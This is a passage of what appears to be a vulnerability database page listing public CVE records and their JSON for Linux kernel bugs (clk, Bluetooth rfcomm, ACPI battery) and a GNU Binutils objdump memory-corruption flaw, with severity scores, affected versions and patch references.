          "url": "https://git.kernel.org/stable/c/a424e713e0cc33d4b969cfda25b9f46df4d7b5bc"
        },
        {
          "url": "https://git.kernel.org/stable/c/60ff482c4205a5aac3b0595ab794cfd62295dab5"
        },
        {
          "url": "https://git.kernel.org/stable/c/115554862294397590088ba02f11f2aba6d5016c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e581cf5d216289ef292d1a4036d53ce90e122469"
        }
      ],
      "title": "clk: Get runtime PM before walking tree during disable_unused",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27004",
    "datePublished": "2024-05-01T05:28:54.684Z",
    "dateReserved": "2024-02-19T14:20:24.207Z",
    "dateUpdated": "2026-05-12T11:51:04.231Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-5245 (GCVE-0-2025-5245)

Vulnerability from cvelistv5 – Published: 2025-05-27 14:31 – Updated: 2026-05-12 12:02

Title

GNU Binutils objdump debug.c debug_type_samep memory corruption

Summary

A vulnerability classified as critical has been found in GNU Binutils up to 2.44. This affects the function debug_type_samep of the file /binutils/debug.c of the component objdump. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

5.3 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

5.3 (Medium)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE

CWE-119 - Memory Corruption

Assigner

VulDB

References

7 references

URL	Tags
https://vuldb.com/?id.310347	vdb-entrytechnical-description
https://vuldb.com/?ctiid.310347	signaturepermissions-required
https://vuldb.com/?submit.584635	third-party-advisory
https://sourceware.org/bugzilla/show_bug.cgi?id=32829	issue-tracking
https://sourceware.org/bugzilla/attachment.cgi?id=16004	exploit
https://sourceware.org/git/gitweb.cgi?p=binutils-…	patch
https://www.gnu.org/	broken-linkproduct

Impacted products

1 product

Vendor	Product	Version
GNU	Binutils	Affected: 2.0 Affected: 2.1 Affected: 2.2 Affected: 2.3 Affected: 2.4 Affected: 2.5 Affected: 2.6 Affected: 2.7 Affected: 2.8 Affected: 2.9 Affected: 2.10 Affected: 2.11 Affected: 2.12 Affected: 2.13 Affected: 2.14 Affected: 2.15 Affected: 2.16 Affected: 2.17 Affected: 2.18 Affected: 2.19 Affected: 2.20 Affected: 2.21 Affected: 2.22 Affected: 2.23 Affected: 2.24 Affected: 2.25 Affected: 2.26 Affected: 2.27 Affected: 2.28 Affected: 2.29 Affected: 2.30 Affected: 2.31 Affected: 2.32 Affected: 2.33 Affected: 2.34 Affected: 2.35 Affected: 2.36 Affected: 2.37 Affected: 2.38 Affected: 2.39 Affected: 2.40 Affected: 2.41 Affected: 2.42 Affected: 2.43 Affected: 2.44

Credits

lcyf-fizz (VulDB User)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-5245",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-27T15:20:48.288532Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-27T15:20:54.076Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:26.882Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "modules": [
            "objdump"
          ],
          "product": "Binutils",
          "vendor": "GNU",
          "versions": [
            {
              "status": "affected",
              "version": "2.0"
            },
            {
              "status": "affected",
              "version": "2.1"
            },
            {
              "status": "affected",
              "version": "2.2"
            },
            {
              "status": "affected",
              "version": "2.3"
            },
            {
              "status": "affected",
              "version": "2.4"
            },
            {
              "status": "affected",
              "version": "2.5"
            },
            {
              "status": "affected",
              "version": "2.6"
            },
            {
              "status": "affected",
              "version": "2.7"
            },
            {
              "status": "affected",
              "version": "2.8"
            },
            {
              "status": "affected",
              "version": "2.9"
            },
            {
              "status": "affected",
              "version": "2.10"
            },
            {
              "status": "affected",
              "version": "2.11"
            },
            {
              "status": "affected",
              "version": "2.12"
            },
            {
              "status": "affected",
              "version": "2.13"
            },
            {
              "status": "affected",
              "version": "2.14"
            },
            {
              "status": "affected",
              "version": "2.15"
            },
            {
              "status": "affected",
              "version": "2.16"
            },
            {
              "status": "affected",
              "version": "2.17"
            },
            {
              "status": "affected",
              "version": "2.18"
            },
            {
              "status": "affected",
              "version": "2.19"
            },
            {
              "status": "affected",
              "version": "2.20"
            },
            {
              "status": "affected",
              "version": "2.21"
            },
            {
              "status": "affected",
              "version": "2.22"
            },
            {
              "status": "affected",
              "version": "2.23"
            },
            {
              "status": "affected",
              "version": "2.24"
            },
            {
              "status": "affected",
              "version": "2.25"
            },
            {
              "status": "affected",
              "version": "2.26"
            },
            {
              "status": "affected",
              "version": "2.27"
            },
            {
              "status": "affected",
              "version": "2.28"
            },
            {
              "status": "affected",
              "version": "2.29"
            },
            {
              "status": "affected",
              "version": "2.30"
            },
            {
              "status": "affected",
              "version": "2.31"
            },
            {
              "status": "affected",
              "version": "2.32"
            },
            {
              "status": "affected",
              "version": "2.33"
            },
            {
              "status": "affected",
              "version": "2.34"
            },
            {
              "status": "affected",
              "version": "2.35"
            },
            {
              "status": "affected",
              "version": "2.36"
            },
            {
              "status": "affected",
              "version": "2.37"
            },
            {
              "status": "affected",
              "version": "2.38"
            },
            {
              "status": "affected",
              "version": "2.39"
            },
            {
              "status": "affected",
              "version": "2.40"
            },
            {
              "status": "affected",
              "version": "2.41"
            },
            {
              "status": "affected",
              "version": "2.42"
            },
            {
              "status": "affected",
              "version": "2.43"
            },
            {
              "status": "affected",
              "version": "2.44"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "lcyf-fizz (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability classified as critical has been found in GNU Binutils up to 2.44. This affects the function debug_type_samep of the file /binutils/debug.c of the component objdump. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue."
        },
        {
          "lang": "de",
          "value": "Es wurde eine Schwachstelle in GNU Binutils bis 2.44 entdeckt. Sie wurde als kritisch eingestuft. Es geht dabei um die Funktion debug_type_samep der Datei /binutils/debug.c der Komponente objdump. Durch Manipulation mit unbekannten Daten kann eine memory corruption-Schwachstelle ausgenutzt werden. Der Angriff muss lokal erfolgen. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0"
          }
        },
        {
          "cvssV3_1": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 4.3,
            "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-119",
              "description": "Memory Corruption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-27T14:31:12.173Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-310347 | GNU Binutils objdump debug.c debug_type_samep memory corruption",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.310347"
        },
        {
          "name": "VDB-310347 | CTI Indicators (IOB, IOC, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.310347"
        },
        {
          "name": "Submit #584635 | GNU Binutils objdump 2.44 Memory Corruption",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.584635"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32829"
        },
        {
          "tags": [
            "exploit"
          ],
          "url": "https://sourceware.org/bugzilla/attachment.cgi?id=16004"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=6c3458a8b7ee7d39f070c7b2350851cb2110c65a"
        },
        {
          "tags": [
            "broken-link",
            "product"
          ],
          "url": "https://www.gnu.org/"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-05-27T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2025-05-27T02:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2025-05-27T10:12:17.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "GNU Binutils objdump debug.c debug_type_samep memory corruption"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2025-5245",
    "datePublished": "2025-05-27T14:31:12.173Z",
    "dateReserved": "2025-05-27T08:07:06.452Z",
    "dateUpdated": "2026-05-12T12:02:26.882Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26903 (GCVE-0-2024-26903)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

Bluetooth: rfcomm: Fix null-ptr-deref in rfcomm_check_security

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: rfcomm: Fix null-ptr-deref in rfcomm_check_security During our fuzz testing of the connection and disconnection process at the RFCOMM layer, we discovered this bug. By comparing the packets from a normal connection and disconnection process with the testcase that triggered a KASAN report. We analyzed the cause of this bug as follows: 1. In the packets captured during a normal connection, the host sends a `Read Encryption Key Size` type of `HCI_CMD` packet (Command Opcode: 0x1408) to the controller to inquire the length of encryption key.After receiving this packet, the controller immediately replies with a Command Completepacket (Event Code: 0x0e) to return the Encryption Key Size. 2. In our fuzz test case, the timing of the controller's response to this packet was delayed to an unexpected point: after the RFCOMM and L2CAP layers had disconnected but before the HCI layer had disconnected. 3. After receiving the Encryption Key Size Response at the time described in point 2, the host still called the rfcomm_check_security function. However, by this time `struct l2cap_conn *conn = l2cap_pi(sk)->chan->conn;` had already been released, and when the function executed `return hci_conn_security(conn->hcon, d->sec_level, auth_type, d->out);`, specifically when accessing `conn->hcon`, a null-ptr-deref error occurred. To fix this bug, check if `sk->sk_state` is BT_CLOSED before calling rfcomm_recv_frame in rfcomm_process_rx.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/369f419c097e82407…
https://git.kernel.org/stable/c/5f369efd9d963c1f7…
https://git.kernel.org/stable/c/81d7d920a22fd58ef…
https://git.kernel.org/stable/c/8d1753973f598531b…
https://git.kernel.org/stable/c/567c0411dc3b424fc…
https://git.kernel.org/stable/c/3ead59bafad05f296…
https://git.kernel.org/stable/c/5f9fe302dd3a9bbc5…
https://git.kernel.org/stable/c/2535b848fa0f42ddf…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 369f419c097e82407dd429a202cde9a73d3ae29b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5f369efd9d963c1f711a06c9b8baf9f5ce616d85 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 81d7d920a22fd58ef9aedb1bd0a68ee32bd23e96 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8d1753973f598531baaa2c1033cf7f7b5bb004b0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 567c0411dc3b424fc7bd1e6109726d7ba32d4f73 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3ead59bafad05f2967ae2438c0528d53244cfde5 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5f9fe302dd3a9bbc50f4888464c1773f45166bfd (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2535b848fa0f42ddff3e5255cf5e742c9b77bb26 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26903",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:41:13.860273Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-27T18:14:57.007Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.535Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/369f419c097e82407dd429a202cde9a73d3ae29b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f369efd9d963c1f711a06c9b8baf9f5ce616d85"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/81d7d920a22fd58ef9aedb1bd0a68ee32bd23e96"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d1753973f598531baaa2c1033cf7f7b5bb004b0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/567c0411dc3b424fc7bd1e6109726d7ba32d4f73"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3ead59bafad05f2967ae2438c0528d53244cfde5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f9fe302dd3a9bbc50f4888464c1773f45166bfd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2535b848fa0f42ddff3e5255cf5e742c9b77bb26"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:30.061Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/rfcomm/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "369f419c097e82407dd429a202cde9a73d3ae29b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5f369efd9d963c1f711a06c9b8baf9f5ce616d85",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "81d7d920a22fd58ef9aedb1bd0a68ee32bd23e96",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8d1753973f598531baaa2c1033cf7f7b5bb004b0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "567c0411dc3b424fc7bd1e6109726d7ba32d4f73",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3ead59bafad05f2967ae2438c0528d53244cfde5",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5f9fe302dd3a9bbc50f4888464c1773f45166bfd",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2535b848fa0f42ddff3e5255cf5e742c9b77bb26",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/rfcomm/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: rfcomm: Fix null-ptr-deref in rfcomm_check_security\n\nDuring our fuzz testing of the connection and disconnection process at the\nRFCOMM layer, we discovered this bug. By comparing the packets from a\nnormal connection and disconnection process with the testcase that\ntriggered a KASAN report. We analyzed the cause of this bug as follows:\n\n1. In the packets captured during a normal connection, the host sends a\n`Read Encryption Key Size` type of `HCI_CMD` packet\n(Command Opcode: 0x1408) to the controller to inquire the length of\nencryption key.After receiving this packet, the controller immediately\nreplies with a Command Completepacket (Event Code: 0x0e) to return the\nEncryption Key Size.\n\n2. In our fuzz test case, the timing of the controller\u0027s response to this\npacket was delayed to an unexpected point: after the RFCOMM and L2CAP\nlayers had disconnected but before the HCI layer had disconnected.\n\n3. After receiving the Encryption Key Size Response at the time described\nin point 2, the host still called the rfcomm_check_security function.\nHowever, by this time `struct l2cap_conn *conn = l2cap_pi(sk)-\u003echan-\u003econn;`\nhad already been released, and when the function executed\n`return hci_conn_security(conn-\u003ehcon, d-\u003esec_level, auth_type, d-\u003eout);`,\nspecifically when accessing `conn-\u003ehcon`, a null-ptr-deref error occurred.\n\nTo fix this bug, check if `sk-\u003esk_state` is BT_CLOSED before calling\nrfcomm_recv_frame in rfcomm_process_rx."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:39.486Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/369f419c097e82407dd429a202cde9a73d3ae29b"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f369efd9d963c1f711a06c9b8baf9f5ce616d85"
        },
        {
          "url": "https://git.kernel.org/stable/c/81d7d920a22fd58ef9aedb1bd0a68ee32bd23e96"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d1753973f598531baaa2c1033cf7f7b5bb004b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/567c0411dc3b424fc7bd1e6109726d7ba32d4f73"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ead59bafad05f2967ae2438c0528d53244cfde5"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f9fe302dd3a9bbc50f4888464c1773f45166bfd"
        },
        {
          "url": "https://git.kernel.org/stable/c/2535b848fa0f42ddff3e5255cf5e742c9b77bb26"
        }
      ],
      "title": "Bluetooth: rfcomm: Fix null-ptr-deref in rfcomm_check_security",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26903",
    "datePublished": "2024-04-17T10:27:51.673Z",
    "dateReserved": "2024-02-19T14:20:24.187Z",
    "dateUpdated": "2026-05-12T11:50:30.061Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49955 (GCVE-0-2024-49955)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

ACPI: battery: Fix possible crash when unregistering a battery hook

Summary

In the Linux kernel, the following vulnerability has been resolved: ACPI: battery: Fix possible crash when unregistering a battery hook When a battery hook returns an error when adding a new battery, then the battery hook is automatically unregistered. However the battery hook provider cannot know that, so it will later call battery_hook_unregister() on the already unregistered battery hook, resulting in a crash. Fix this by using the list head to mark already unregistered battery hooks as already being unregistered so that they can be ignored by battery_hook_unregister().

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/76fb2cbf01571926d…
https://git.kernel.org/stable/c/c47843a831e0eae00…
https://git.kernel.org/stable/c/da964de4c18199e14…
https://git.kernel.org/stable/c/07b98400cb0285a63…
https://git.kernel.org/stable/c/ca1fb7942a287b406…
https://git.kernel.org/stable/c/ce31847f109c3a5b2…
https://git.kernel.org/stable/c/ca26e8eed9c1c6651…
https://git.kernel.org/stable/c/9f469ef1c79dac7f9…
https://git.kernel.org/stable/c/76959aff14a0012ad…

Impacted products

2 products

Vendor	Product	Version
